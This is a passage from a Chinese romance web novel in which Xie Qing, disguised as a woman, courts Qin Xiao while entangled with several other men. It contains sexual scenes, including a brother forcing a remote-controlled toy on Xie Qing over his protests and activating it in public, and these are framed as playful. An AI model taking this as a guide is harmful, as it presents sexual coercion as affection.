秦霄用两根手指推了下眼镜,另一只手慢慢握住了谢清的大腿,大胆的女人他见过很多,但顶着谢清这么充满邪恶的表情,装都不装一下的,还是第一次见。 他的手来回摸了两下,伸进裙子里时,被谢清一下按住了。 “我们来合张影吧。”谢清说,随即拿起手机打开自拍模式,镜头略微倾斜,就照出了两人亲密的坐姿,秦霄气定神闲地看向镜头,按下快门的瞬间,谢清努起红唇亲了上去。 可秦霄不知道是不是被这样子勾引过太多次,竟然精准偏头躲掉了。 “咔嚓。”照片只照出两个虚影。 谢清心中恼怒,耐着性子说:“怎么啦,我们不是在交往吗?” “我不喜欢口红。”秦霄说。 事儿真多! 谢清心中骂着,脸上笑着,抽出湿纸巾擦掉了口红。因为太过用力,嘴巴被他擦的惨兮兮的。 秦霄说:“没关系,不用为我擦掉,你涂或者不涂都很好看。” “可我想亲你呀。” 秦霄眉头微皱:“林小姐好像很喜欢做一些无意义的事。” 谢清摔掉纸巾,有些愠怒,忽然伸手一抓。 再冷静的男人陡然被抓住脆弱也无法面不改色,秦霄表情有些复杂:“林小姐,你干什么?” “帮你诊断诊断,看是不是不行?” 秦霄无奈:“我那方面功能没有任何障碍,但这种事也不是婚前该有的。林小姐是不是太不矜持了?” 谢清大惊:“没看出来,你还是清朝的老古董啊?” 秦霄喉结上下一滚:“林小姐,松手。” 那东西逐渐在谢清手里起了变化,谢清低低一笑:“看来是没问题。就是不知道好不好用呢?” “从我腿上下去。”秦霄沉声。 “别生气呀。”谢清执起他的手重新探进裙底,带着他往后,给他展示水蜜桃的软度。 秦霄手指不由自主用力,接着他抬起手腕,拍了一巴掌。 响亮的一声,虽然不痛,但两人都懵了。 谢清委屈:“你打我干什么呀?” “抱歉。”秦霄揉了揉眉心,“我也不知道。只是手滑。” 谢清报复地捏了他一下,把秦霄捏变了脸色。 接着他无辜地笑:“人家只是想合个影,你就配合一下吧?” 他重新举起手机,打开前置镜头。 会议室就在这时被人推开了,秦屿板着一张脸:“秦霄,你是不是把我部门的经理给调……宝宝?!” 秦屿和谢清同时大惊失色。 谢清怕身份暴露,大喊:“谁准你进来的?出去!” 而秦屿面泛绿光,森然瞪着秦霄:“你诱拐走我的员工就算了,现在还勾引我老婆?!” 其实照现场这个情形看,比较像谢清是勾引方,更何况谢清本就有勾引他哥的前科。但秦屿是无论如何都不会承认的。 谢清此刻居然庆幸秦屿管他叫老婆而不是名字。 他正要从秦霄身上下来,不想秦霄扣住他后脑勺直接亲了一口,同时帮他按下了快门。 “不是要合影吗?喏,好了。” 秦屿气炸了,抡起拳头冲了上来:“秦霄!!” 谢清:“秦屿!!” 秦屿僵在了原地,刹那变得泪眼汪汪:“宝宝,你为什么……你穿成这样是不是他逼的?我帮你教训他!” 谢清怕他说漏嘴,匆忙拉起秦屿往外走,回头对秦霄说:“我和你弟弟讲两句话。” 秦屿:“宝宝你别拦我!我要找他要个说法!” “你跟不跟我来?”谢清双目一横。 秦屿:“……来。” 谢清拽着秦屿的领带把他拉进了洗手间。 确认隔间没人后,他才破口大骂:“你少来坏我的事!相你的亲,结你的婚去!” “宝宝我已经退婚了,你不要生气了。” “我生哪门子气?” 秦屿小心翼翼上前拉住谢清的手:“宝宝,你一定是为了打听我的消息才接近秦霄的是不是?我好感动,可是你不要跟他走太近了他不是个好东西!” 谢清撇嘴:“你真会自我感动。” “宝宝。”秦屿凑过来嗅了嗅他身上的香水味,琥珀混合树莓味的后调有一种野树林的清新,秦屿不知想到什么脸红了,“你这么穿真好看啊。” “哼。好看也不是给你看的。” 秦屿低头看了看:“就是裙子太短了,宝宝里面穿了没?” “废话!我真空出来是要干嘛?” 秦屿倏然把谢清推入了隔间,将门关上,食指压在了他唇上。 外面进来个人。 谢清低声:“离我远点。” 秦屿:“宝宝穿着裙子,不可以随便坐别人腿上的记住没?要坐也应该坐我腿上……” 他捏了捏谢清软乎乎的腿心。 谢清瞪他:“我坐你脸上要不要?” 秦屿脸更红了:“也、也可以啊……” 等外面的人走掉,谢清即刻把秦屿推出隔间:“我警告你,我接近秦霄是有正事的,他不知道我的身份,你别坏我事。” 秦屿一怔,随即高兴起来:“我就知道我老婆看不上他那种人渣!我知道了,你是为了之前说的那个实验数据对不对?” “这你倒提醒我了。”谢清指着他用眼神警告他站在原地,“别跟着我。” “宝宝,我们在公司见面的确有风险,下次你还能再来偷偷见我吗?见一分钟我也很高兴。” 谢清有些复杂地回头看了秦屿一眼。 “有多高兴?” 秦屿:“晚上做梦又会梦见你了……” “梦见我在干什么?” 秦屿支支吾吾说不出话。 谢清看了他一会儿,忽地粲然一笑:“梦吧,准许你梦。” 他回会议室的时候,秦霄还坐在原来的位置上没动过,面前多了台笔电,已经开始处理起工作。 谢清心里骂了句没情趣。 他拉着椅子坐到秦霄身边,看了一会儿,又低头打了两把游戏。 秦霄还是不说话,就这么安静敲打着键盘。 谢清:“你不问问我和你弟弟说了些什么?” “我尊重你的个人隐私。” “你根本就是不关心吧?”谢清拉了一下他的电脑,“你弟弟不想我们在一起,说了很多让我为难的话呢。才交往第一天就这样,你一点也不在意?” 秦霄转过身面对他:“所以你说这些的意思是,你觉得夹在我和秦屿之间压力太大,因此还是希望分手是吗?” 谢清难以理解他是怎么推导出这个结论的。 “你就这么无所谓我们的关系?” “并没有。只不过恋爱关系本身就是虚妄的,一吹即破的泡沫,所以我从不抱有会稳定长久的幻想。” 谢清抓起手机起身:“随你的便吧!” 说完转身离开了会议室。 跟秦霄这种人交流真费劲。他懒得演了。 晚上他收到林徴柔的微信,问怎么回复秦霄的问候。 谢清:【别理他!】 他觉得他可能要搞砸了。 谢清:【算了,你随便回吧,交给你了,我难以胜任。】 林徴柔:【别呀,你谦虚什么,我看他聊天语气很正常嘛?他问明天有没有安排?】 谢清没有回,林徴柔就干脆也没回秦霄。 但过了半小时,林徴柔慌张发消息:【他打电话进来了!!你快帮我接啊!!】 谢清:【挂了不就行了。】 林徴柔:【你这么消极真的好吗?】 谢清:【好吧,我接还不行吗,你拿两个设备帮我们连线。】 林徴柔借来妹妹的手机打给谢清,开了免提,然后才敢接上秦霄的电话。 秦霄问:“生气了?” 谢清:“什么事?最讲究效率的秦先生,咱们有事说事吧。” 秦霄沉默片刻:“如果你实在喜欢我弟弟,我可以接受你我结婚之后,他来给你当情人。但是你们要注意见面地点和见面频率,不能让媒体拍到,另外……” 他一板一眼的说着。 林徴柔差点摔了手机,赶紧把两台机子都放在桌子上,然后用力捂住了自己的嘴巴。 秦霄:“……这样的方案你是否满意呢,可以不生气了吗?我们可以继续交往了吗?” 谢清:“…………” 要是手机在他手里,他已经大骂一声有病然后挂断了! 谢清:“你就这么需要和林……和我结婚?” 秦霄:“并不是必须,但性价比很高。” 谢清:“你有过失败的投资吗?” “从未。” 谢清默然了一会儿,笑了:“很好,明天见面一起挑婚戒吧。” 秦霄好像也松了口气:“好。” 第二天早上,谢清从快递处领回新购入的小裙子,正要在卧室里偷偷试穿,谢呈冰就又拿钥匙不请自来。 谢清匆忙把裙子塞进衣柜,拿了件日常装出来比划。 “在试衣服?”谢呈冰走到落地镜前,谢清的身后,“又要和白年去约会?” “对啊,不是你答应的吗?”谢清皮笑肉不笑。 谢呈冰从后面搂住他的腰:“带着这个去。” 他把手探向危险地带,谢清无济于事地挣扎了两下,看向卧室房门。 谢呈冰:“放心,锁好了。” 谢清被按在落地镜前,一点点放进去了一样东西。他抬头看着镜子里的自己,眼眶变得水红,好不容易进去了,他以为结束了,谢呈冰看了一会儿,毫无预警地打开了开关。 谢清站不稳,紧紧攥着谢呈冰的胳膊恳求:“别这样……” “以后你出去见别的男人,都要带着它。”谢呈冰面容冷酷,动作却无比柔情,“想吃点别的吗?” “不吃!”谢清猛地摇头。 谢呈冰摩挲着他的身体,不无遗憾地说:“嗯,早上时间太短了,等晚上回来再吃吧。” 谢清欲哭无泪。 等他哥走了,他立刻趴在床上勾住了那条细线,想拽出来,转念想到白年帮他取走的那次,谢呈冰就和规则怪谈NPC被触发了警报一样,马上离开公司回家找他,给他更糟糕的惩罚。 算了……忍一时风平浪静。 谢清慢腾腾穿上裙子戴好假发,鬼鬼祟祟从后门溜出家门。 白年像一尊望夫石日日等在谢宅楼下,可惜每天只能等到谢呈冰出门时刻意对着他的车尾气。 谢清从林徵柔的家门口再假装出一次门,被秦霄接走。 今日目的地是珠宝店。 在车上谢清一直如坐针毡,为了不让屁股着座,他侧过身子对着窗外。秦霄却以为他还在为昨日的事情不高兴,刻意冷落自己。 他把车停在路边,拍了拍谢清:“林小姐,我们先谈谈?” 谢清对这种没来由把车停在无人之地的行为ptsd:“谈、谈什么?我不想在这里谈,不是要去看婚戒吗?” “你不舒服吗?”秦霄终于发现了他的脸色有些不对劲。 他下了驾驶座,绕过车头来到谢清这边,蹲着和他温柔的讲话:“要不要去医院看看?你这样我有点担心。” 有一瞬间秦霄和秦屿的脸有些重合,谢清怔了一下。 “没事,刚刚肚子有点疼,现在已经好了。”谢清勉强坐正了身体,扯出个笑来。 “这样吗?”秦霄显得有些犹豫,“要我帮你揉揉吗?” “不用,已经好了,你开车吧。” 秦霄坐回了驾驶座,低头用手机检索了一番,似乎有点恍然大悟。随后他重启启动车子,一路开到了商场。 进了珠宝店,店员一看就知道两人身价不低,马上热情搬来了椅子。 秦霄让谢清坐下,自己却出去了一会儿,二十分钟后他带着一杯热奶茶回来,递到了谢清手中。 “喝点热的肚子会舒服吧?” 谢清嘴角抽搐了一下。秦霄是不是误会了什么?大夏天的给他喝热奶茶! 但他也不好解释,默默接了过来。 店员在一边小声说:“小姐你是不是来那个啦?那我把冰镇水果撤下去吧。” “哎别……”谢清眼睁睁看着她端走了可口的果盘。 店员回来还不忘奉承:“你男朋友真的很体贴呢。” 秦霄:“你挑挑看有没有喜欢的,没有我们可以去下家。” 店员立即殷切推荐起来,谢清想试探看看秦霄的态度,故意指了款最贵的。 “小姐好眼光!”店员戴着手套把宝石戒指取了出来,“我为您试戴一下吧?” 谢清笑着伸出手指,却“一不小心”碰掉了戒指。 店员脸色一变。 “哎呀,糟糕,怎么办?没摔坏吧?”谢清捂着嘴。 秦霄:“没事,有问题我买单。” 这话令店员神色刹那好转,带着笑把戒指捡了起来:“稍等,我为您换新的来试,这个拿下去擦一擦。” 谢清挑三拣四的又试了几款昂贵的。 突然,他们的背后亮起闪光灯。 连店员都一起皱着眉头朝后看去。几个扛着相机的媒体记者蹲在角落偷拍他们这边,显然是认出了秦氏掌权人。 秦霄带着女伴买戒指可是不小的新闻,毕竟在此之前,他从没传出过恋爱花边,完全就是一台工作机器。 谢清眼睛一眯:“这些人,不会是秦先生雇来的吧?”他有理由怀疑秦霄使用这种手段间接逼婚。 秦霄按了下眼镜:“老实说,在昨天之前我确实有此打算。不过昨天你不知为何生气走掉以后,我总觉得这么做还会引起你的反感,于是并没有实施。” 倒是真的很“老实”。 如果真的有一个和他恋爱的林小姐,这话听了只会让人更生气。 谢清笑了笑:“没事,他们爱拍就拍吧。”说着还配合做了亲密的姿势摆拍。 秦霄挑眉:“林小姐不怕后悔?” 谢清意味深长:“你别后悔就行哦。说不定过不了多久,你还要花大价钱撤回这些照片呢。” 一分钟后他们明白了这些记者是哪来的。 因为珠宝店里进来一个大明星。 第38章 第 38 章 连忆心顶着那张被媒体吹捧为“清纯才子”的天使面孔, 嘴角含笑,直勾勾盯着谢清走了进来。 谢清脸色剧变。 “把这位……小姐?刚刚试过的戒指都包起来,我要了。” 秦霄略显诧异地打量连忆心。 谢清不想他们两个起冲突导致自己身份暴露, 赶紧拽拽秦霄袖子转移他注意力:“我觉得这个不错,我要这个吧。” 他随便指了柜台底下的一只。 秦霄微笑, 一个“好”字刚到嘴边,连忆心就指着同一个说:“这个也包起来。” 店员顿时有些为难:“这……这款只剩一个了。” 秦霄眼神有些不虞:“是我们先看上的吧?” 连忆心:“我出三倍价钱。” 秦霄还要讲道理, 谢清又说:“算了算了, 让给他就行了, 我换一个,这个——” “这个我也要了。” 这下秦霄再迟钝也该明白, 连忆心是故意找茬来的。 “我知道您,您是连忆心连先生对吧?”秦霄客客气气伸手, “秦霄,幸会。不知哪里得罪过?” 连忆心也伸出手,却是略过了他的, 径直搭住了谢清垂在柜台上的手。 “宝宝, 你要哪个,我今天统统给你买。” 店员的神色一时也精彩纷呈,一双吃瓜的眼珠左右转得飞快。 秦霄看向了谢清。 屋漏偏逢连夜雨,居然在这种时候, 谢呈冰那杀千刀的把开关打开了! 谢清一个激灵从椅子上跳下来, 捂着屁股脸色时青时红。 虽然是最低档, 也够折磨人的, 从身到心的折磨。谢清左右看了看, 问店员:“你们这有休息室吗?” 店员没料到自己突然被cue到:“里、里面有员工休息间……” “借用一下!” 谢清一把拉过连忆心:“我们私聊。” 同时回头,对秦霄露出一个非常难看的笑:“你等等我, 我处理点私事。” 连忆心回头,给了秦霄一个蔑视的眼神,随后反客为主搂着谢清进了休息室。 一进去谢清就躲开几米远:“你怎么知道我在这?” 连忆心摘掉挂在下巴的口罩,脸上带着病容,眼底一片乌青,没有往日的风采,也不像前几次见到谢清那么阴鸷。 不过他一向会装,谢清还是警惕十足。 他刚要开口,却爆发出一阵剧烈的咳嗽,边咳又边把口罩戴回去。 “阿清,可以别怕我吗?我是来告诉你一件重要的事的,白年要害你!” 谢清倒有点不习惯他这么讲话:“哦。知道了。” “你不信吗?是真的!我在连隐的房间找到……” “我信。”谢清说,“所以呢,你就是来告诉我这个?” 连忆心怔了半晌,苦笑:“原来你已经知道了?那……那就好。” 谢清没什么表情:“说完可以走了。我警告你,别又想对我做什么,秦霄你也见到了,秦家的保镖就在附近,不是吃素的。” 连忆心可怜地低下了头:“我在你心目中,已经是见面就要防备的人了吗?” “不然呢?你自己说说前几次都对我做了什么。” 连忆心又咳嗽起来。见谢清皱眉慢慢往后移动,小声说:“不、不传染的。” “连忆心,你到底在耍什么花招?” 谢清眉头越皱越紧。 连忆心和秦屿不一样,坦白自己在利用秦霄然后命令对方别来碍事就能打发掉,谢清怕是一说出来真实状况,就会被对方反手利用。 他得强撑起气势,让连忆心以为秦霄本来就知道他是谁,别动歪脑筋。 但连忆心听到刚才的话形容衰败,死气沉沉,缓缓摇了摇头:“我没有要怎么样,真的只是担心白年害你,来提醒你的。” “那提醒完了,你走吧。” “好。” 谢清没想到连忆心真的应了,慢吞吞往门口走去,一步三回头地看他。 “我,我能不能再多问个问题?”连忆心小心翼翼地说,“你和秦霄……?” “看不出来吗?在买婚戒。” 连忆心眼底本就微弱的光芒刹那尽数灰败,身体都是一个不稳。沉默良久,他竟然扯动出一个笑,点点头:“也好,秦霄有身家有手段,不会让你被其他男人纠缠,也有实力给你幸福。他……他对你好吗?” 今天的连忆心实在太古怪了。 谢清压下心底狐疑,维持平静:“你刚才不也看到了吗,非常好。” “那就好。” 谢清还是忍不住了:“你别假惺惺说这些,你刚才还破坏我们看戒指。” “我只是……也想要给你买。你看上哪款,让我付钱可以吗?就当我用这种方式送给你祝福了。” “不需要,你走吧。” 连忆心失落的垂下头:“好吧。” 他一转身,谢清却突兀的叫了一声。 “啊!……” 谢清被后面那个东西逼得没有藏住声音。该死的谢呈冰!又调高了一档! “怎么了阿清?”连忆心匆匆跑回他身边。 谢清怀疑离得这么近,那震动声会被连忆心听到,脸色红了又白。 “我、我没事……你不是要走吗,快走吧!” 他说这话语气都发虚,连忆心哪肯走,恋恋不舍,有意无意地碰碰他的手背:“阿清,你不要嫌我话多,我还是想提醒你,你明知道白年要对你不利,却不拆穿他吗?” 谢清快速说:“我当然不会放过他,不劳你操心。” 连忆心终于忍不住抱住了他:“我最后再抱你一小会儿,好不好?” 要忍不住了…… 谢清眼眶都泛起了泪花,而连忆心还在找各种各样的话题和理由不肯走,一不做二不休,谢清干脆拽着他的领子亲了上去。 连忆心明显一震,随即眼中重新迸射出光彩,张开嘴唇承接着谢清突如其来的热情,并也用力回应。 谢清借着这个动作肆无忌惮发出了声。 连忆心瞬间脸色通红,没想到谢清这么投入忘我,两个人紧紧贴着亲了好一会儿,谢清才气喘吁吁低下了头,抵着连忆心的肩换气。连忆心扶着他,让他不至倒下去。 那该死的动静总算消停下来了。 谢清被连忆心半揽在怀中,又气恼又尴尬。 “阿清,我好高兴……” 滚烫的泪珠竟然从连忆心眼眶落下,顺着衣领滑进了谢清的脖子里,谢清表情怪异地抬头看他。 他都没哭呢,连忆心哭什么? “你到底怎么了?一副要死了的样子。” 连忆心身体一僵。 他转过脸狼狈地擦了擦眼泪:“对不起,没有忍住。” 谢清的视线扫过他过于憔悴的面容,半是戏谑半是不可置信地说:“总不会是狗血电视剧里演的那种,你得了绝症了吧。” 说完这句话,谢清不期然看到了连忆心手背上的数个针眼。 连忆心清减了很多,落寞颓唐地笑了一下:“哪有那么狗血了?是普通的小病。” 谢清居然松了口气。他虽然惧怕连忆心,可是这个人没有攻击性的时候,总让他想起,自己还曾经是他的粉丝,真心实意支持过他。 逐渐找回来的记忆中,也曾经短暂的甜蜜过。 谢清竖起来的小刺不觉收起来了一些:“那你赶紧滚回去休息吧。” “好。谢谢阿清关心我。”连忆心抿了抿嘴,像在回味刚才的吻,露出个纯情天真的笑。 谢清盯了他一会儿,没忍住问:“你是不是有恋母情结?” 连忆心茫然歪了下头。 “听说我和你妈妈长得有点像。” 连忆心恍然大悟,观察了谢清一会儿:“仔细看,眼睛是有一点。你不说我根本没发觉,我记忆里妈妈已经很遥远很遥远了。” “哦。”谢清若有所思地点点头。 “你的记忆还没有完全恢复吗?”连忆心有点担忧地探头,似乎想摸摸谢清的头,可又怕吓着他,伸到一半缩了回来,“记得有一次在城郊的花海约会,我对你讲过,妈妈在国外生下我后,和另一个男人回国了。” “那个男人是谁?”谢清追问。 “不知道。” “连隐也没告诉过你?” 连忆心继续摇头。 “为什么突然想知道这个?”连忆心有些好奇。 谢清含混过去。总不能说,我怀疑你和谢呈冰是同母异父的兄弟?你妈被我养父强取豪夺? 他怕连忆心好不容易正常一次,马上原地黑化。 连忆心忽然又问:“阿清,花海你也不记得了吗?” 谢清迟疑了一下,记忆里依稀有这么个影子,好像是一片私人庄园,热恋期连忆心带他去过的。 连忆心见他没一口否认,已经开心起来:“没分手前,我有一首歌就是以你为灵感在那里创作的,但是没有写完,如果可以,你能不能和我再去一次?帮我完成它。” “不可以。”谢清拒绝地很干脆。 连忆心目光黯淡:“好吧。” 他退后两步,认认真真看着谢清,好像要用力记住对方的样子。 “那,我走了?” 谢清没想到一场无形的危机真的就这么化解了。连忆心真的没发疯没胡闹,就这么听话离开了。 虽然也有点不正常的地方,但似乎都可以忽略不计。 谢清走出休息室时人都有点恍惚。 秦霄一直等在柜台前,位置都没有变一下,也没有在处理公务,就这么盯着他的嘴唇看。 “林小姐的桃花似乎有点多?” 谢清掩饰地捋了捋鬓发。 秦霄掏出纸巾,为他擦了擦嘴角:“口红都掉了。” 谢清猛地反应过来,接过纸巾按住了嘴唇。 周围的气压好像有点低。 过了一会儿,谢清含笑挽住了秦霄的手臂,软软的身体挨着他,轻声细语:“结婚以后都会断的,我保证。” “没关系。”秦霄说。 “不可以没关系!”谢清坚持,“婚姻是神圣的,忠诚的,结婚后,我一定会对你忠诚不二,一生一世都只有你一个,你说好不好?” 秦霄静静看了他片刻,身体不觉舒展了些:“好。” 谢清十分愉悦:“我想着,我们略过订婚的步骤,直接筹备婚礼吧?订婚这种事被破坏的风险太高了,你弟弟的情形你也看到啦,你觉得呢?” 秦霄点头:“我明天就上门提亲。” “不不不。”谢清说,“你也知道,我爸是更属意我嫁给谢呈冰的,你提亲他不一定答应,我希望你把一切都准备完善,婚礼什么都全部都筹备妥帖,最后再来提亲,你看怎么样?” 秦霄有一丝困惑:“虽然步骤不太合规矩,不过如果你喜欢,那就这么办吧。” “你进步了。”谢清说,“已经知道要做我喜欢的,而不是效率高的事了。” 他在秦霄脸上“啪叽”亲了一口:“奖励你的。” 秦霄摸了摸脸颊,不觉笑了一下,他第一反应竟然是想问,为什么不给自己尝尝她口红的味道呢? 可转念一想觉得这想法很奇怪,那种有毒性的化学品尝来干嘛? 恋爱果然是一种会麻痹神经的低效劣质品。 谢清最后还是挑中了店里最贵的那款戒指,不过他手指偏细,仓库里没有合适的尺寸。 秦霄让店员拿去定制,留下了定金。 才出了珠宝店,他忽然接到一通来自方家长辈的电话。 看清号码的一瞬间,秦霄几乎就意识到谈话内容会是什么,下意识避开了谢清。 “林小姐,我接个工作电话,去去就回。” “去吧。”谢清笑笑表示并不介意。 他也已经提前知道了会是什么电话。 就在刚刚,林徴柔给他发了消息。 秦屿退婚后,秦家自然和方家赔礼道歉,方家当家固然生气,却又不想放过和秦家结为姻亲的大好机会,便试探问,这秦二不行,秦家长子怎么样? 秦父知道长子必然求之不得,为了挽回两家的关系,在电话里就答应下来。 方歆雅知道嫁的是秦屿还肯嫁,听说是秦霄就觉得自己完蛋了,她和林徴柔是圈内好友,也早听闻林徴柔的妹妹追秦霄结果很惨烈的事,这事当然第一时间找林徴柔商量。 林徴柔听后也紧张起来,转而打电话问谢清:“怎么办,我们不会白费功夫了吧?他表面和你约会恋爱,私下和方家……” 谢清鼓着脸:“他敢!” 琢磨了会儿,他说:“放心,交给我。秦霄好歹也是个正常男人,我就不信,他会这么铁石心肠。” 等秦霄处理完“公务”回来,谢清显得热情了不少:“霄哥哥,逛了一天了累不累呀?要不要享受一下我的独家小按摩?” 秦霄脸色有点古怪:“怎么突然这么叫我。” “我们都要谈婚论嫁了,叫的亲密点也没事吧。”谢清说,“这也是恋爱的一部分,懂吗?” “是吗?那我也叫你……”秦霄想到了连忆心挑衅时喊出的亲密称呼,“宝宝?” 谢清不知为何抖了一下。 “你开心就好。来。”谢清把他拉到商场的休息长椅上坐下,不轻不重地帮他捶了捶腿。 “这种待遇可是你独一份的哦,别人都没有。” 秦霄定定地看了谢清一会儿,抓起了他的手:“不用了,我不累。” 谢清反正也不想给他捶,闻言就停下动作。 “霄哥哥,刚才是有什么要紧事吗?” “没有,普通工作汇报而已。”他面不改色地微笑。 谢清在心里骂了句渣男,这就已经会撒谎了。 他忽然侧抱住秦霄的腰,以一个十分亲密的姿态贴着他耳朵问:“交往的这几天,你有没有喜欢上我?” 秦霄竟然选择沉默。 谢清按捺住变脸的冲动:“我已经喜欢上你了哦。” “是吗?你今天不是还和连忆心……” “我和他说了别再来纠缠我,因为我要嫁给你了。”谢清抢答,“他出去的时候表情不是这个意思吗?” 秦霄不吭声。 这男人真棘手,谢清说:“明天一起看电影吧,最近有部片子我很想看呢。” 秦霄推了下眼镜:“抱歉,明天不行。” “为什么?” “工作安排,抽不开身。” 谢清冷笑,工作安排?相亲安排吧。看样子他是决定去见方歆雅了。 “那好吧,我只好一个人去看了。”谢清松开了他的胳膊,站起来理了理裙摆。 “林小姐。”秦霄在身后唤了一声。 谢清回头表情淡淡地看了他一眼,没纠正这个称呼:“回去吧,我家人差不多该找我了。” 他低头瞄了眼手机,林徵柔不放心,发消息问:【真的没问题?】 谢清咬牙切齿地回复一句:【看我的。】 第39章 第 39 章 第二天市里下起了一阵不小的雨。 林徴柔在电话里和谢清说, 即便这样秦霄还是赴约方歆雅了。 他们约在一家意式餐馆,在欧洲风情街里,去那儿的都是结伴的情侣夫妻。 林徴柔没好气:“他甚至在出发前还给我分享了一则科技新闻!” 谢清语气很冷静:“没事, 继续不理他就行了。地址发给我,该我发挥演技了。” “你要干嘛?” 谢清哼道:“愧疚也是一种武器。如果他还有基本人性的话。” 林徴柔:“如果他没有呢?” 谢清:“那我只好邀请他一夜情打分手炮了。索性他是个正常男人。” 林徴柔:“……” 谢清:“放心吧, 留点把柄还不容易吗?有的是办法恶心他。” 沉默了一会儿林徴柔忍不住说:“我能不能和你一起去?我好想去现场吃瓜!拜托了我肯定会躲好的。” 谢清想了想:“那好吧。” 挂了电话,他就搭上车前往欧洲风情街, 餐厅订在了秦霄相亲的那家意餐厅隔壁, 没一会儿林徴柔也赶到了。 “天呐, 今天这雨真大!”她抖了抖衣袖,虽然打了伞, 身上不可避免还是淋湿了一些。 因为大雨,餐厅的人很少。 “来啦?坐。”谢清抛开菜单大手一挥, 对旁边的服务员说,“把你们这儿的特色全上来。” 林徴柔大惊失色:“你知道这儿的平均消费是多少吗?” 谢清微笑:“放心吧,又不用咱们买单。” 林徴柔半信半疑。 不过等菜上来她就不想这么多了, 美食让人食指大动, 不客气地大快朵颐起来。 “你有什么打算?捉奸吗?” 林徴柔看谢清穿的是女装,想他肯定是要见秦霄的。 “我有什么立场捉奸?”谢清捋了捋过长的假发。 他今天换了顶黑长直,穿了一身干净的棉白裙,涂了裸色的口红, 似乎还拿粉底刻意遮了血色, 显得人苍白憔悴。林徴柔刚进门时差点又没认出来, 觉得他形单影只, 看上去有点可怜。 “那你是要?” “顾影自怜, 黯然销魂咯。”谢清故作哀怨的表情,林徴柔竟然觉得他有实力进军演艺圈, 因为明知是假的,她都有点心疼。 谢清中途又挑了瓶价值昂贵的葡萄酒开了,邀林徴柔一同享用金钱的味道。 “先说好,我今天出门可真的没带钱。”林徴柔看清了酒标后愈发忐忑。 “放心吧,我也没带。” 谢清点了点桌面上林徴柔的手机:“给他发条消息,问他在哪儿。” 林徴柔虽然疑惑,但也照做了。 不一会儿她冷笑一声,给谢清出示屏幕。 秦霄:【在公司。怎么了?】 谢清:“说你感冒生病了,问他能不能来看看你。” 秦霄迟迟没有回复。 外面忽然亮起一道闪电,随后是雷鸣。 谢清看了眼时间,又看了看店外。雨势不见缓,街上都没什么人。 他抬手叫来服务员,向对方耳语了几句,然后起身。 林徴柔见他伞也不打,冒雨跑到了斜对面关门的店铺前蹲下。 “这是干嘛??”她心想。 服务员站在门口大喊了两声:“站住小姐!你还没给钱!小姐——” 林徴柔一惊,下意识看向桌上吃了一半的餐品,想自己要不要也跑? 服务员的呼声惊动了隔壁意餐厅的客人,确切说只有一桌客人。 秦霄顺着对方的喊声随便撇了一眼,接着就隔着雨幕看到了谢清孤单的身影。 他第一眼其实不那么确定,毕竟隔了些距离加上下着雨,还只是个侧影。 直到对方朝他的方向忘了一眼,接着受惊一样迅速低头,又一次跑进雨里。 秦霄猛地起身,餐盘刀叉被撞击出声音,方歆雅吓了一跳:“怎么了?” “抱歉,失陪一下。” 秦霄抓起伞就追了过去,路过服务员时停顿了一下:“你在喊那边的人?” “对啊!真是个怪人!来了乱点一汽,坐着也不吃,就呆呆看前面的餐厅,刚才也不知道怎么了,突然就跑了!钱还没付呢!我看我还是赶快报警!” 秦霄越听脸色越差:“我来付,别报警。” 他扫了钱还给了高额小费,叫服务员忘了那个女人的事。 服务员心满意足,随即一指店外:“哎呀,她好像摔倒了?” 秦霄迅速赶过去。 他很快追上了谢清,撑开伞遮在对方头顶,表情异常复杂。 “摔疼了没有?我扶你……” “不用!”谢清抬起头来,分不清脸上是雨还是泪,一双眼婉转多情,但此刻写满了心碎。 秦霄胸口像被钝器锤了一下,有些喘不过气。 “是方歆雅告诉你的?” “不重要。”谢清抹了把脸,泛起一个凄楚的笑,“恋爱是虚无缥缈的,你现在还是这么觉得吗?” “我不知道。”秦霄再次尝试扶谢清起来,这次不管对方怎么拒绝,他都愈发强势,到后来干脆一把丢开手中的伞,将人抱住了。 “我不知道,但是……我们不是还在共同寻找吗?” 谢清伏在秦霄肩头冷笑,声音却委屈绵绵:“可是你骗我。” 秦霄语速不禁加快了:“是,对不起,我为刚才的谎言道歉,我只是不想你多想。其实我已经想清楚了,我不该来的。” “是吗?你的意思是,还是要和我结婚?” “嗯。” 这就对了嘛。谢清贴着他的肩勾了勾嘴角:“你确定?不后悔吗?” 秦霄:“不后悔。” 我会让你后悔的,放心。谢清在心里这么回答。 “你穿太少了,冷吗?生病是真的还是假的?”秦霄摸了摸他的胳膊,冰凉的,于是脱下外套披在他身上。 “我送你回家,好吗?” 谢清摇了摇头,闷声说:“被家人看到我这个样子,会受罚的。” 秦霄:“那去我家换洗一下吧。” 谢清忽然抬起头望着他,眨了眨漂亮的眼睛:“我是你第几个邀请回家的人?” 秦霄一怔,随即脸上仿佛是出现了一种疑似不好意思的神色:“如果是说以交往对象的身份,自然是第一个。” 这样情窦初开的表情和渣男可不搭啊。 谢清在他脸上亲了一口,这次是另一边:“好吧,奖励你的。” 奖励你第一次带回家的是个男人。 他重新贴在秦霄怀里,笑的充满恶意。 秦霄也笑起来:“第一次发现被奖励这么让人高兴。” 雨势依旧不减,积水在路面汇成一片模糊的镜面,挨着的两人倒影交织在一起,仿佛深情缱绻。 街道冷寂,身后的餐厅被笼罩在灰蒙蒙的雨雾中看不清了。 秦霄带谢清回了自己的私人置地,谢清进了家门一直东张西望,秦霄问:“怎么了?难道是在找我那个不成器的弟弟?他可不在这里。” 谢清放心了。同时脸上挂着笑说:“找他干嘛?只是好奇你住的地方嘛。你没和家人一起?” “有我弟堂前尽孝,似乎也用不到我。” 这话说的多少有些阴阳怪气,谢清会意一笑,都说子女不和,老人失德,秦家看来也不错。但他蛮想劝秦霄一句,要求太多就会觉得不幸福。好比谢家,他早早就知道家中一切的偏爱的资源都是留给谢呈冰的,没什么落差,反而能和哥哥处的不错。 不过那也是以前了。 秦霄去浴池帮谢清放了热水:“你淋了雨,去洗一下吧。” 谢清笑得暧昧:“你也淋雨了,要不要和我一起呢?” 秦霄要是同意,他就会反唇相讥“你想得美”,可惜秦霄没点头,绅士地笑了笑:“别在男人家里这么说,很危险。快去洗吧。” 谢清进了浴室,确认秦霄走掉以后,才脱了假发衣服钻进热水里。 今天出门的时候,谢呈冰也不例外给他塞了糟糕的东西。他借助着热水舒张经脉,滑进浴缸里,漂亮的眉眼紧蹙在一起,痛苦与欢愉交织着,好不容易把那玩意儿拿出来,随手丢进了旁边垃圾桶。 他没有泡太久就光着脚出来了,水珠淌了一地。 “霄哥哥?” 